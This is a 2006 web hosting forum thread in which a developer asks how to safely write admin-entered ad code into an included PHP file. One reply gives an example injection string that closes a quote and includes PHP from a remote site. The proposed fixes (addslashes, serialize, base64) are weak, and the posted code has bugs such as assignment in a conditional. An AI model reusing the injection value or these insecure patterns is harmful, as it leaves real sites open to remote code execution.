Web Hosting Talk







View Full Version : Safe way of writing (php script) to a php file


latheesan
02-13-2006, 04:25 PM
I have an admin interface where admin has the option to enter ad code, e.g. adsense code on the form and then hit "save" button.

once the admin press the "save" button, the data from the form will be stored on a php file called ads.php in this format.

<?php

$enable_ads = 'yes';

$ad_type = 'inline';

$ad_code 'Adsense Code Here';

?>

now, this ads.php file will be loaded inside of other scripts, e.g. index.php

One of the member who tested my script commented this:

I can see that you can inject arbitrary PHP in there

So, how can i prevent this? Is there a safe method of writing form data into a php file, whilst eliminating any risk of injection of arbitrary PHP?

TonyB
02-13-2006, 04:31 PM
Well I assume you're not escaping quotes specifically '

so someone could put their ad code as say

'; include("http://randomsite.com/badphp.php");

Just one example of something that could be done

SO doing addslashes on the ad code coming in would prevent this.

latheesan
02-13-2006, 04:50 PM
How about this long winded method?

admin.php
<?php

$code = $_POST['code'] ? $_POST['code'] : '<b>Hello World</b>';
$cmd = $_POST['code'] ? $_POST['code'] : 'Save Code';
if($cmd == "Save Code")
{
$code_package = serialize(array($code));
// Write this $code_package to ads.php file
}

?>

index.php
<?php

/* Show Ads */
include("ads.php");
if($enable_ads = "yes")
{
$data = unserialize($code_package);
echo $data[0];
}

/* Rest of the index.php file */

?>

Will this be ok? what do you think?

Also, i can use base64_encode(); function instead of serialize(); which ever, you guys are the expert, could you recommend me a good option please?